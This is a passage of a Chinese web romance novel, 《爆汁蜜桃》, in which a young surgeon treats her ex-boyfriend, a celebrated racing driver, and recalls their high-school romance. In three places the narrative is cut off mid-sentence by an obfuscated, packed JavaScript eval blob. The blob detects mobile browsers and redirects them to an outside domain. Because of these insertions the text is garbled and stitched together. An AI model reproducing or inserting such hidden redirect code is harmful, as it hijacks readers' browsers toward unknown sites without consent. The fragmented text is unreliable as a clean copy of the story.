《爆汁蜜桃》 1. 文学城独发 《爆汁蜜桃》岁冷/文 晋/江/文/学/城独家发表,请支持正版,感谢小天使们。 01 雨天。 宿宁市人民医院,会议室。 难得的采访,和形象大使沟通的过程却不愉快。年轻记者汗流浃背,摄像大哥也愁眉苦脸。 大领导已经被气走了,临走前下达命令,要严肃处理: “又不是非她不可,换人!” 领导们商讨后,紧急启动plan B,一声叠一声地呼唤:“把普外科的医生温乐遥喊来!” “咱们医院,就属她最漂亮!” 窗外漂浮着细密的雨丝,空气里笼罩着潮湿的低气压。 记者心烦意乱擦掉额头上的汗珠,耐心已经到了极限。 听到脚步声,由远及近,他拧着眉抬头。 到底行不行啊…… 这采访还能不能进行下去? 看清来人的长相后,记者愣住。 满腹抱怨瞬间没了脾气。 温乐遥穿着白大褂,随手挽的低发髻,最普通的打扮,却惹眼得很。 她刚摘下医用外科口罩,素净的小脸儿不施粉黛,唇色淡红,整体的气质温和,似乎没有攻击性,像是刚采撷的蜜桃,柔软,粉嫩。 但那双清亮的眼眸,乌黑浑圆,睫毛长而浓密,眼尾勾人的翘。 是点睛之笔。 有人说她像猫,有人说她是初恋脸,还有人说她明明是天生擦边圣体,却眼神坚定像是兵。 记者愣住的那十几秒里,满脑子都是“离谱,这位才是人民医院的形象大使吧。” 温乐遥在他面前站定,微笑着,语气平和: “你好,我是温乐遥,宿宁人民医院的外科住院医师。” “啊你好…我是宿宁电视台的记者何旭阳。” 听到温柔的声音,视线落在她纤细修长的指尖,记者这才回过神来,忙不迭和她握手。 - 下午2点,温乐遥正跟着老师进行院内会诊,就被行政部几个同事“借”走了。 撑着雨伞走在路上,温乐遥才听明白来龙去脉。 医院早在一个月前就和宿宁市电视台谈好了合作采访,打算派本院的形象大使进行洽谈。 今天上午10点,形象大使李曼如就开始和工作人员核对流程。 原计划一个小时完成的任务,硬是因为她而拖到中午12点多才正式开始。 所有人都饿着等,反反复复NG几次,大领导忍无可忍,将采访稿扔在桌上,勒令他们立刻换人采访。 温乐遥临时被喊来救场,只不过是因为她长得漂亮,那张脸蛋足够引人注目。 但她凭借自己对医院的了解和自身的专业素养,全程只看了一遍采访稿,就完美回应所有问题。 甚至比标准答案更加真实接地气,也更有说服力。 两个人沟通很愉快,竟然一个小时都不到,就已经结束了采访。 原本还在联系替补的领导,也都欣喜若狂。 真没想到,这个年轻的外科医生居然这么拿得出手。 女领导推了推眼镜,低声问身边的助理:“这个小温是今年刚招进来的吗?” “对,之前在咱院规培,硕士刚毕业就人才引进来了。温乐遥是徐老最喜欢的徒弟,刚才把她借走的时候,我们都快被徐老骂死啦。” 女领导笑起来:“这小姑娘有两把刷子,有男朋友了吗?” “好像没有吧,”助理皱眉想了想,“平常见她都是一个人上下班,也没听外科同事说过。” “有合适的可以给她介绍。” “好的,卫主任。” 连绵一整天的雨终于落下帷幕。 雨停了。 会议室内,记者已经从刚才的愁眉苦脸转为了眉飞色舞,他再三表达感谢。 温乐遥微笑,和记者握手后,就转身离开。 手机铃声和电梯开门声同时响起,温乐遥走出去,顺便接通了电话。 “喂,妈。” 那边传出秦淑兰中气十足的嗓音:“遥遥,这次国庆假期你们医院放几天假啊?” 温乐遥毫不犹豫地打消妈妈的念头:“我们轮流值班,排班表还没发,很忙。” “别糊弄我啊,遥遥。这个假期你要是不相亲,我跟你爸就过去陪你相。这回你秀萍姨介绍的是咱们本地的小男孩,父母都是体制内,本科学历,今年不到30周岁,刚考进——” 温乐遥听得头疼,朝着行政楼外走:“好好好,妈妈,我们主任喊我去会诊呢,有空聊,拜拜。” 回到科室里,她全身心投入紧锣密鼓的工作中。 待她再掏出手机时,夜幕已然降临。妈妈发来的十多条60秒语音赫然出现在屏幕上。 温乐遥没有点开,也没有转文字,只是敲了几个字。 【好的妈妈[可爱]】 她想都不用想,妈妈发语音一定是在介绍这次的相亲对象多么优秀,多么合适,多么值得结婚。 在父母看来,她工作后还不找对象,就是不正常。 温乐遥头疼,自从分手后,她这几年对情感的需求很低,在学校里也是出了名的寡王,从不接受男生的示好,不参加联谊会。 舍友说她空有一副美人皮囊,却不好好利用,从年头寡到年尾。 - 入夜,温乐遥随意吃了份盒饭就开始做手术。 直到病人顺利被推出手术室,她紧绷的神经终于放松下来。眼睛酸胀,脑袋也昏昏沉沉。 休息室很安静,同事们都有些疲累,聚在一起等外卖,看见温乐遥过来,还抽了个凳子让她歇会儿。 “我靠,祁颂带领着CN溯风车队回国了!” 男同事陈兴突然发出尖锐爆鸣音,激动地从凳子上跳了起来。 所有人的情绪都被调动起来。 包括平常对聊天并不感兴趣的温乐遥。 她下意识看向陈兴,漆黑瞳仁晃动着微亮的光。 女同事好奇:“CN不是在奥地利特训吗?这么快就结束了吗?” “我朋友是资深赛车迷,掌握一手资讯。听说他们早就回来了!而且——”陈兴神秘地眨了眨眼, “小道消息,祁颂要在咱们宿宁招新!” 温乐遥正欲拿水杯的手一顿,指尖微不可闻地颤了颤,呼吸也局促起来。 祁颂要在宿宁招新? “哇塞,我弟弟就成天嚷着长大要去CN溯风,他可是颂哥的铁杆粉丝!” “咦…祁颂为什么要来宿宁招新?北上广不是比咱这边更好挖掘人才吗?” “是不是在咱这边有比赛啊?” “怎么可能呢,宿宁也没有合适的国际赛车场呀。” “颂哥老家在咱这儿,他是不是回来一趟,很快就要走啊?” “哎呀,笨死了。祁颂不是在咱这儿建了个训练基地吗?我听说一年前就开始整修了。他要是不回来,他费那钱干嘛?” “不会是要来订婚的吧?” “我听说,祁颂中指戴的那个银色指环,是他未婚妻送的。” “哎哟,这种小道消息你也信?” “订婚不一定,但祁颂没对象我还真不信,他长得这么帅,怎么可能不谈恋爱呢。” 同事们七嘴八舌,一时间气氛火热起来。只有温乐遥沉默不语,准备拿水杯的手也停滞不前。 她愣神的功夫,杯子已经被递到了面前。 “小温医生,你是不是想喝水?” 一直安安静静的暖男同事察觉到她的晃神,微笑着拎起水壶,给她倒满。 混乱的思绪瞬间抽离,温乐遥礼貌道谢,顺手接过来。 大家的注意力被他们吸引了。 陈兴看着温乐遥素颜清纯的脸蛋,傻乐了两声,没心没肺地问道:“诶,遥遥,什么样的男孩子能入你的眼啊?” “嗯?” 呼吸一滞,温乐遥的心跳开始急促。 什么样的男孩子…… 眼前蓦地浮起那人的面容,扰得她心乱如麻。 “看着顺眼的就行。” 沉吟片刻,她轻笑着搪塞过去。 刚才就被CN车队的惊天消息震得心神不宁,温乐遥很疲累,打过招呼就进里屋休息了。 换上隔离衣,随便搭了条毛毯,温乐遥蜷缩着在窄小的单人床入睡。 起初睡得并不安稳。 她觉得自己像一条浮沉的小船,被骤然升高的海浪推上去,再狠狠掀下来。 不知多久后,温乐遥渐渐放松,微蹙的眉心展平。 她似乎坠入梦境。 梦里。 那人递给她一罐冰可乐,酸涩辛辣的气泡绵密细腻,浮沫爆裂开的瞬间,像是心动的信号,像是爆汁的蜜桃。 “咚咚,咚咚。” 心跳声越来越响。 有一瞬间,她分不清现实和梦境。 恍惚间,温乐遥仰头,随着他的动作,看向那人修长手指的骨节,小臂绷紧浮起的青筋…… 再抬眸,视线落在他的脸上。 突然—— 刺耳的电话铃响起,温乐遥猛地从梦中惊醒。 思绪还是混沌的,就凭着肌肉记忆接通了护士打来的紧急铃。 “我是温乐遥。” 那便传出小护士的声音:“温医生,急诊科接到一个右手小臂重度擦伤的病人,陈医生吃坏肚子没法诊治,我就给您转过来了。” “好的。” 大半夜被叫起来,温乐遥有些怅然。 原来,真的只是梦啊…… 她早就被夜班磨得没了起床气,随意挽个低发髻,按一按发胀的太阳穴,强迫自己开机,疾步去科室给病人消毒。 什么都能慢,唯独治病救人不能耽误。 偏偏温乐遥走得太急,又有些困乏,还没缓过神来,推开门就差点撞上了病人的后背。 那人很高,身形挺直,黑衬衫黑裤,袖口挽上去,右手小臂血红一片,却丝毫不见慌乱,反而淡定从容。 温乐遥没想到病人在门口站着,刚要出声提醒他坐下待诊,却见他转身。 恰好, 对上一双漆黑深邃的眸子。 温乐遥怔住。 下了一整夜的细密小雨,突然急促起来,噼里啪啦打在医院后院的芭蕉叶上。 像是她慌乱的心跳声。 视线交织,温乐遥后退半步,不知从哪一刻开始乱了心弦。 科室的灯光有些刺目,微妙的是,祁颂刚好歪了下脑袋,挡住直射的灯光。 取而代之的,是男人玩世不恭却又略显凶冷的眉眼。 怎么是他? 居然是他? 像现在这样,在她刚睡醒素面朝天甚至略显憔悴的时刻。 别说前男友了,就连朋友都会笑她是“纯牛马”。 片刻的沉默后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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Jump盯着温乐遥看了几秒,眼睛瞪得越来越大,动作幅度大得几乎跳起来。 祁颂掀起眼皮,睨了他一下。 Jump瞬间:已老实。 他感觉自己的心跳在砰砰作响,却又不敢在祁颂面前放肆,只能低声控诉: “凭什么老大是美女姐姐治病?” “怎么我以前遇到的医生都是戴着老花镜的秃顶老头儿?” 亮橘色少年笑着拍了拍Jump满脑袋的脏辫:“这还不简单,灭掉你勾搭小姑娘的机会。” Jump不服气哼哼两声,揣着手假装老实站在一边。 空气再次回归原本的安静,带着几分微妙的窒息感。 温乐遥抿了抿唇,细白手指抬起,朝向诊疗室的床,眼神都不敢在祁颂身上逗留: “去坐着。” “简单陈述一下病情。” “我来!”Jump一个箭步冲到诊疗室床边,拽住祁颂没受伤的结实小臂,指着亮橘色少年控诉, “美女姐姐是这样的,今晚我们老大被队里这个小混球橙子拉着试车,结果——” 亮橘色少年拱他一下:“起开!我是当事人我讲!” “我来讲!” “我来!” 温乐遥:“……” 吵得要命。 温乐遥本来就心情复杂,现在脑袋都嗡嗡作响。 祁颂眉毛一挑,低沉嗓音平静,甚至连眼神都没给他们,却又带着无法挑衅的威严: “出去。” 这是老大暴风雨来临的前兆。 两个少年瞬间站直,乖乖地齐声回应:“得嘞!马上就走!” 吵闹的诊疗室终于安静下来。 祁颂起身不慌不忙坐在诊疗床上,黑色衬衫领口刚才被Jump扯开了一粒纽扣,浅浅的V形漏出锁骨。 他很高,长腿屈着踩在地上,微微歪着脑袋看她。 眼神冰冷,却又燃着火焰。 温乐遥沉默地准备好要用的药品,回避和他对视。 头压得越来越低。 祁颂身材很好,标准的宽肩窄腰倒三角,腹肌轮廓若隐若现,胸肌围度也惹眼。他肌肉结实,气血足,体温似乎比她要高一些。 戴上无菌手套,温乐遥用盐水和双氧水帮他冲洗创面。 伤口创面大,但不是很深,只包扎即可,无需缝合。 祁颂坐着依旧很高,因为离得近,温乐遥都能嗅到他身上熟悉的香味。 清冽,沉肃。 她在工作时很认真,长睫低垂,白皙额前些许碎发,随着他的呼吸微微颤动,脸颊泛着浅淡的红,一直蔓延到耳朵。 男人漆黑眸子灼灼地盯着她。 温乐遥能感受到他的眼神,只能强装镇定,有条不紊地进行着。 直到最后一步,她柔软的手指覆在他结实的臂膀上,隔着无菌手套,依旧能感受到他的体温。 透过指腹,烫着她的心尖。 温乐遥屏住呼吸,给他包扎完毕。 全程没说话。 像是两个陌生人。 直到他起身,挡住了灯,高大身影拓下一片阴影,将娇小的她裹在影子里。 2. 文学城独发 02 晋江文学城 祁颂垂着右手,这样不利于静脉血回流。 温乐遥职业病发作,还是没忍住出声提醒他。 她抬眸,看似毫无攻击性的清纯脸蛋仰着,声音平淡,一本正经: “抬高手臂,忌辛辣、刺激、油腻,24小时内进行破伤风试敏。” 祁颂垂眼,盯着她一张一合的红唇,片刻后收回视线。 男人转身,漫不经心应了声:“嗯。” 对话就这么潦草结束。 科室门被关上,外面传来两个少年猴子一般的欢呼声—— “老大,这么快就出来啦!还以为你会跟美女医生多聊几句呢。” “老大老大,你找美女姐姐要微信没?” “呵,没兴趣。” 短暂的沉默后,祁颂懒倦的嗓音透过门板,轻飘飘地传进她耳朵里。 他还是那么游刃有余,对待一切事物都漫不经心。 天之骄子向来稳操胜券。 灯光莫名刺眼,温乐遥的眼眶忽然有些酸楚。 她眨了眨眼,垂眸,压不住涌动的思绪。 再次躺回床上,已经没了之前的睡意。 温乐遥高举着手机,点开#祁颂带领CN队伍强势回归#的词条,看着广场上营销号和网友们对他和队员的评价。 祁颂凭着高颜值和不可一世的比赛风格,吸引了众多粉丝。 但与此同时,他的恃才傲物也让很多人恨得牙痒痒。 温乐遥翻了翻,发现支持他的评价大概占六成,除此之外,唱衰嘲讽的声音也不少。 她之前一直刻意回避和他相关的话题。 直到今晚重逢,她才有勇气点开他的动态。 温乐遥已经过了少女心幻想的年龄,很清楚他们不会再有交集。 他们,一直是云泥之别。 温乐遥突然误点到,某个关于祁颂的独家采访视频。 视频画面里,男人左手中指戴着素圈指环,拿取东西时,脉络分明的手背浮起青筋,指节稍弯,平添几分性感。 温乐遥一愣,记忆混沌交织,反复拖动进度条。 她许久没关注他的动态。 现在看来,像是熟悉的陌生人。 大数据精准地推送相关词条#祁颂回国订婚#。 温乐遥点开,看着寥寥无几并未掀起波浪的猜测帖子。 【祁颂携婚戒回归,此次回国招新,疑似与神秘女友订婚】 营销号的帖子配图是他的手部特写。 评论区倒是都在为祁颂发声。 【请不要过度关注赛车手的私生活!】 【不是吧…我怎么没听说过颂哥还有女朋友?】 【不造谣不传谣!颂哥这个戒指除了比赛的时候摘下来,这些年一直都在戴着哦!】 【阿颂好帅,这手嘶哈嘶哈——】 【yxh一天天的,开局一张图,内容全靠编,烦不烦啊】 【假!大家举报一下,谢谢】 或许是传言太离谱,这个词条很快就被挤到了无人问津的角落,浏览量廖廖。 视频继续播放,镜头给到CN队伍里的赛车小将们,争先恐后回答“对祁颂的第一印象是什么”。 祁颂。 温乐遥第一次听到这个名字,是在高一的时候。 彼时,她刚从小县城考到宿宁市读高中。 黏腻潮湿的夏季格外漫长,九月开学后依旧炎热。 军训时,不是暴晒就是暴雨,所有人都灰头土脸跟小泥猴似的。 唯独祁颂个高腿长,顶着一张俊脸,鼻梁高挺眼眸深邃,军训帽都压不住的帅。 各个连队的女生为了能看他一眼,常常解散后绕远路,故意从这边经过。 因此他所在的六连常常挤得水泄不通。 小伙伴喜欢凑热闹,拽着温乐遥去看过几次。 有一次,几乎和他打了照面。 两人向着相反的方向,擦肩而过。 少年留着薄薄的短碎发,窄双眼皮勾着眼尾,右眼角的泪痣柔和了那张硬朗的脸。 祁颂个子高,温乐遥才到他喉结的位置,要想看他得仰着头才行。 她不感兴趣,也没想刻意看他。 军训时的男孩子都一身臭汗,但经过祁颂身边时,温乐遥只觉幽淡的雪松香气,混着阳光和洗衣液的清爽香气,沁在鼻尖。 她的呼吸很敏感,在这拥挤人潮里,几乎是在闻到的一瞬间,就好奇地仰起了头。 湿漉漉的黑眸被阳光刺了下。 温乐遥眯起眼,试图看清少年的脸。 擦肩而过的一瞬间,向来目视前方漫不经心的祁颂,竟然破天荒微微低下了头。 随着这转头的动作,他清晰的脖颈线条以及敛去攻击性的垂眸惹得不少女生惊呼。 刺目的阳光被他倏然遮住。 温乐遥就这么猝不及防地和少年对视了一眼。 他站在光影里。 挺立,漠然。 无论遇到什么事,似乎都漫不经心,又游刃有余。 她就这么撞进了他漆黑眼眸里。 片刻的慌乱,温乐遥都来不及移开视线,眼前的少年已经收了眼神,大步流星地向前走。 刺眼的阳光再度出现。 温乐遥收回视线,脑海中映刻着那双漂亮的眼睛。 她突然明白,为什么这个男生会短短几天就成为校草级别的人物。 有的人生来就是万众瞩目的,是众星捧月的存在。 就连刺眼的阳光都会格外偏爱他。 青春期的女生懵懂、萌动,还带着些许对校园名人的好奇和热切。 在大家兴奋的讨论声中,温乐遥从不参与,似乎云淡风轻。 她一向有自知之明。 一个从偏僻县城考来市重点高中的小镇做题家,是不会跟这样的富家少爷有任何交集的。 除非他疯了。 或者她疯了。 直到后来,温乐遥才明白自己当初那一瞬间的慌乱 ——是心动。 - 视频还在播放。 记者兴奋地采访着这个“赛车界门面”,听他慢条斯理回复每个问题。 直到她听见—— 记者笑着问出“颂哥最讨厌什么行为?” 温乐遥视线聚焦回屏幕,祁颂对着镜头挑了下眉,薄唇吐出几个字: “抛弃。” “绝不原谅。” 他眼尾上勾,又薄又窄的双眼皮,右边眼角一枚泪痣,就算是冷笑也让人心神荡漾。 哪怕只是个视频,温乐遥也僵住了。 她浑身的血液都冰凉起来。 对,这才是他。 被伤害后。 绝不回头。 温乐遥后半夜辗转反侧,混混沌沌做了梦,直到醒来时已经到了该交接班的时候。 她用冷水洗了脸,又绑皮筋扎上高马尾,试图放松紧绷的神经。 和换班同事打过招呼,温乐遥换上常服,准备回家。 她租住的房子离医院不远,有一辆父母赞助的新能源电车,以及一辆小电动车。天气好的话,怎样出行都很方便。 不过—— 这种阴湿天气除外。 一场秋雨一场寒。连绵不断的小雨,让九月底的宿宁市笼罩在湿濡的水汽中。 沿着连廊往外走,直到站在医院大厅的门口,温乐遥才想起来,自己忘了带伞。 这个时间段,医院门诊部已经进入准备接诊状态了。 不断有人从外面走进来。 推着轮椅的,带小孩的,朋友家人陪伴的,三五成群。 让原本寂静的医院也嘈杂起来。 温乐遥看着空空如也的免费供伞区,无奈扣上外套的连衣帽。 帽子带动着几绺碎发飘摇。 她垂眸将刘海捋到耳后,深蓝色外套将白皙的脸庞衬得愈发精致。 抬眼的瞬间,有人走进来,电动门缓缓打开。 移动的透明门上贴着门衣,恰好遮掩了温乐遥的视线。 她全神贯注盯着外面细密的小雨,在心里计算跑到地上停车场的路线,并未注意身旁不断前来的病人或家属。 透明门开到最大,温乐遥拢紧外套准备跑出去。 直到熙熙攘攘的人群中,有熟悉的身影和她擦肩而过。 温乐遥顿住脚步。 凛冽的雪松香混着清爽香气,让她几乎是条件反射地仰头看向身旁。 来来往往的人们脚步不停。 男人略微转头,正和身旁的少年低声聊天。只留给她半张侧脸,唇角勾着冷痞的笑,眼底尽是漫不经心。 温乐遥怔住。 她居然在一天之内,见到前男友两次。 但他没看见她。 甚至连一个眼神也没分给她。 像祁颂这样的身材颜值,在普通人聚集的医院里,分外惹眼。 长得好看的人,就连五官都是高清的。 不远处,有几个男生女生害羞又兴奋地走过去,扭扭捏捏举着手机,似乎在问他们什么。 或许是CN溯风车队的粉丝。 他左手的铂金戒指,紧贴着他修长的指骨,冷淡又亲密。伴着他抬手的动作,像是一条慵懒依偎着的银蛇。 温乐遥强迫自己拉回注意力。 定了定心神,她压下心底翻涌的情绪。 和初见时不同。 他们现在,是彻底擦肩而过了。 - 踏出医院大厅的瞬间,凛冽的风卷起连衣帽,吹散了她的头发,灌进脖子里。 雨丝细密,像是一条冰凉的银蛇在身体里游荡。 温乐遥第一次觉得,宿宁的秋天这样湿冷。 她扯着帽子刚走了两步,身后传来急促的脚步声,继而有一柄大伞罩在了头顶。 温乐遥愣了愣,转头。 原本黏在脸上湿漉漉的发丝,此刻随着她的动作飞扬起来。 在氤氲的雨雾中,她看向那人。 …… 十年前,温乐遥刚上高二。 也是国庆假期的前夕,也是这样的雨天。 上午还艳阳高照,下午一个闪雷劈下,就开始下起了雨。 同学们陆续离开,讨论假期去哪里旅游,只有她埋头写着试卷习题,奋笔疾书。 来到市一中后,曾是小城里数一数二优秀的她,才发现自己泯然众人。 这里不缺家世学业样貌都好的人。 而她曾经引以为傲的成绩,也不过是中上游。 下雨天,温乐遥回去的公交车停运,出租车坐地起价,一趟就要她半个月的生活费。 算了,明天再回家吧。 温乐遥写完试卷后,已经放学很久了,阴霾雨天,外面黑漆漆的。 她没想到今天会下雨,没带伞。 等了这么久还没停,温乐遥看向窗外,拧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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温乐遥看着外面细密的雨丝,蹙起秀气的眉,正打算把校服披在头顶冲出去。 突然,一把黑伞赫然出现在她面前。 温乐遥顺着看过去。 是他。 祁颂很高,这么近的距离,她率先看到的,是他若隐若现的锁骨线条。 不知道什么时候离得这么近,她都能嗅到他身上的香气。 像阳光,又像冷松。 温乐遥的心跳猛地一掷。 “不用不用——”她连连摆手,却被他两指捏住手腕,继而黑伞手柄放在她手心。 祁颂利落地松手,准备离开。 温乐遥赶紧喊住他,:“祁!……祁同学,你不需要伞吗?” 少年盯着她几秒,忽的轻笑一声。 “温乐遥,” 他一字一顿,“我叫祁颂。” 说完,祁颂随手兜上连衣帽,迈开长腿,大步跨入细密的雨雾里。 他吐字清晰,念出她名字的时候,语气低缓,声音很好听。 温乐遥愣在原地,好久都没有缓过神来。 像是被幸福突然砸中了脑袋。 晕乎乎的。 心里也甜得冒泡。 他宽阔清瘦的背影印在她脑海中。 一直记到现在。 - 而此时,温乐遥回头,看向身旁给自己撑伞的人。 香气混着水汽飘进她的呼吸里,映入眼帘的,是西部牛仔打扮的漂亮女人。 “笨蛋遥遥,不带伞。” “还得让你肉姐来给你撑!”谢柔今天是美式甜辣风格,棕色宽边檐帽,一身牛仔短裙配着长筒靴。 她挑起眉,是掩饰不住的笑意。 温乐遥愣了一下。回忆带来的那团雾气,在看见谢柔的一瞬间,“砰”的一声炸开,化成了幸福的小泡泡。 阴雨天,不再湿冷。 “肉肉,你居然回来了!怎么没提前跟我说?我去机场接你呀。” 温乐遥眼眸一亮,挂着雨珠的眼睫颤动,细白胳膊一张,就亲亲热热扑到了谢柔的怀里。 她情绪一向平淡稳定,在父母面前都努力装作成熟的模样。 也只有在最亲近的人面前,才有这样释放天性的时候。 比如,以前的祁颂。 与此同时,医院大厅的电动门缓缓合上。 “阿临,不用去送了。”男人凝眸,望着她娇俏的背影,淡声开口。 身旁拿着伞的少年张临停住脚步。 往外瞥了一眼,看着温乐遥的方向,发现已经有个女人帮她撑伞了,温乐遥似乎很高兴。 模样乖巧,性子沉稳的张临疑惑: “哥,我们为什么要给这个漂亮姐姐送伞?你认识她吗?” 祁颂收回目光,嗓音里不含任何情绪: “主治医生。” 张临想起昨天半夜老大受伤后来医院包扎,忍不住竖起大拇指:“哦~连医生都能关照到。” “哥,你真善良!” 祁颂:…… 3. 文学城独发 03 晋江文学城 雨天并不适合开车,阴雨连绵,车辆冒着红色尾灯,堵了一路子。 但温乐遥今天心情很美,放着闺蜜俩最爱的音乐,小车里温馨又幸福。 “肉肉,不是说这次外派得到十月底的时候才能回来吗?怎么还没到国庆节就来了?” 眼前的红绿灯等了一轮又一轮,温乐遥突然想起来。 和温乐遥本硕连读不同,谢柔大学毕业后只用两个月就找到了工作,凭借着开朗热情的性格以及英语专业。 如今她在一家大型外企里,时不时就要被外派到合作国家处理业务。 谢柔故作娇羞:“人家来陪祖国母亲过生日嘛。” “说、人、话。” 谢柔双手一摊,满脸的不情愿:“好叭……其实,我是回来相亲的T^T” “听说他们是在酒宴上通过共友认识的男方亲戚,真搞笑,八竿子打不着还能相亲。” “哈哈,我们肉姐也屈服了。”温乐遥扑哧一下笑出声来。 “不许笑我嘛!我这也是被逼无奈,”谢柔哼哼唧唧,掏出一张黑金色的卡,晃了晃,“没办法,他们给的实在是太多了。” “一点钱根本收服不了我,但很多钱可以!” “遥遥,咱现在可是小富婆了,什么狗屁班都不用上了,请两周假,姐带你飞。” 她絮絮叨叨,从包里翻出礼物。 这是谢柔的习惯,她每去一个国家,都会给温乐遥精心挑选当地的特色,美其名曰:带遥遥环游世界。 温乐遥一直觉得,谢柔像是她养的旅行小青蛙,每隔一段时间都会给她带些稀罕玩意儿,手舞足蹈地分享奇人趣事。 她和谢柔从高中一起玩到现在。 幸运考到了同一所大学,虽然在不同专业,但谢柔发动钞能力,和温乐遥成为了舍友。 女孩子的关系越相处越亲密。 不知不觉,这俩人已经成为了彼此的依靠。 谢柔动静太大,小车都晃了几下。 绿灯亮起,温乐遥踩油门缓缓前行,笑意更浓,嗓音轻软: “肉肉坐好,一会儿又要晕车了。” 说到晕车,谢柔突然像是被扣掉电池,整个人蔫儿着靠在座位上。 “你这么一说,我立马就感觉到恶心了。” 她扶额撑在副驾驶门上,幽幽叹气:“宝贝,我现在可算理解你当时惆怅相亲的心情了。” 说到这里,谢柔扯住她的衣角撒娇似的晃了晃, “但是遥遥,你知道的,我工作忙,又没有相过亲,尤其没有拒绝相亲对象的经验,要不然……” 听到“经验”二字,温乐遥眼皮一跳,顿时有种不好的预感。 这丫头不会想让她代替相亲吧? “打住!” “你甭想啊。” “咱俩真是心有灵犀!我还没说呢,遥遥你就知道我表达的什么意思。” 温乐遥气笑了:“谢柔,你少来,不行。” “我保证就这一次!好不好嘛?”谢柔两指摁在中控台上,给她跪了,可怜巴巴地说, “宝贝,我就想看看你是怎么应付那些相亲对象的。” 又一个红灯,前面排起长龙。 温乐遥歪歪脑袋思考片刻,眉眼灵动,语气温和: “只此一次啊。我们先定好暗号,如果你感兴趣,就敲一下杯子,我就撤;如果你不感兴趣,就敲两下杯子,我们俩一起撤。” “万一是你的菜,我可不能搅了这场姻缘。” “爱你!我的宝贝!!” - 谢柔相亲的时间定在了国庆节之后的第二天。 好巧不巧,温乐遥的母亲给她下了最后通牒,也是在第二天和相亲对象见面。 既然决定不了日期,温乐遥就定了晚上八点见面。 下午先陪着谢柔见面,再去见自己的相亲对象。 直到昼夜颠倒的谢柔被温乐遥拽起来。 谢柔撑着脑袋缓了半天,也没想起来相亲对象叫什么,只记得是某家集团的公子哥儿,一直在美国留学,毕业后就回国创业了。 但她也留了个心眼。 她留的是英文名。 温乐遥把她摁在椅子上,化妆刷推过去让她化妆,耐心给谢柔梳头发。 谢柔打了个大大的哈欠。 看着自己晒成小麦色的蜜色肌肤,撸铁健身痕迹明显的手臂。 她的眼神飘向身后的温乐遥,眼睛促狭地弯起来: “宝贝,以前感觉你越素越美,今天倒是惊艳我了。” 温乐遥皮肤冷白,唇色淡红,笑起来卧蚕饱满,整体的气质温和像蜜桃。 但现在化了妆,清亮杏眼勾勒出上扬的眼线,红唇夺目,配上柔光缎面裙,让人一眼沦陷。 “遥遥,你今天好漂亮啊。” “看得我都心痒痒了。”谢柔笑着倚在她怀里。 “相亲法则:体制内的男生多数喜欢找贤妻良母类型的。漂亮的他们喜欢,但漂亮得有攻击性的——” 温乐遥涂完口红,点缀柔亮的唇蜜,对着镜子里的谢柔嫣然一笑, “他们就不敢喜欢了。” 这是应对自己相亲对象的办法,但谢柔见的是有钱人家的少爷。 温乐遥并不了解这类人的想法,也就作罢。 - 谢柔的相亲对象将见面地点定在了市中心极为繁华热闹的“夜店一条街”。 下午六点,残存的最后一缕晚霞余晖坠入地平线里。 温乐遥仰着小脸儿,看向面前光影变幻的门牌。她气质柔和恬淡,又穿着珍珠白的缎面裙,哪怕红唇鲜艳,站在这里依旧有些格格不入。 “浮光酒吧。”温乐遥从没去过酒吧,好奇地轻声念出门牌名。 谢柔翻了个白眼,大波浪垂在肩头,一身红裙热辣奔放,大大方方的性感。 “谁家好人在酒吧里相亲啊。” “准是个不务正业的货。”说完,谢柔冷哼一声,搂住温乐遥纤瘦的肩膀,走进这家刚开业不久的酒吧。 黄昏后,各家酒吧都已经传出嘈杂的乐曲及尖叫声,这里却井然有序。 和想象中的群魔乱舞不一样。 倒是……很干净。 这家酒吧是现代风格,整体设计以极简主义为基调,线条利落明晰,材质与光影运用得恰到好处。 透明亚克力层板托举的悬浮酒柜,搭配上极细的LED灯带。 整体色调是足够沉稳的深灰和暗金,浸在墨色里,比普通酒吧的氛围安静很多。 “两位美女, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920458|177047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要喝点什么?” 穿着制服的清秀小哥向她们鞠了一躬,优雅问好。 说完,他的眼神不着痕迹地在乖乖女模样的温乐遥身上逗留片刻。 她看起来,不像是爱泡酒吧的人。 谢柔还在细细打量这家酒吧,没有注意到服务生的询问。 她去过的酒吧夜店不在少数,这家在她看来,只能用一个字形容:装! 这儿太文雅,根本不像迷乱的酒吧。 “我们定的包间,”温乐遥礼貌回答,思索片刻后说出, “在浮光掠影。” 不知道这个包间有什么特殊的,服务生小哥明显愣了下,但很快就扬起得体的笑容,指引她们上了电梯。 这条街上的酒吧都只租一层。唯独这家,不仅五层,还配备了电梯。 “我们老板把这栋楼都买了下来,楼上是包间、餐厅、活动室和休息室。” “VIP客户可以在这边健身、用餐、娱乐、休息。” “负一楼是专门修建的地下车库,相当于我们店的后门,可以直接上楼。” “浮光掠影在这个房间,VIP中的VIP房。两位需要什么,可以扫码下单,也可以直接跟我说。” 温乐遥看了一眼门上的密码锁,颔首:“两杯柠檬水,谢谢。” 这间顶楼包厢很安静,意式极简风,沙发地毯一应俱全,透明展示柜里有奖杯奖牌,还有赛车模型。 除此之外,还有100寸壁画电视,音箱,吧台桌椅,像个舒服的小家。 温乐遥多看了两眼,没想到这里的VIP包厢还是主题式的。 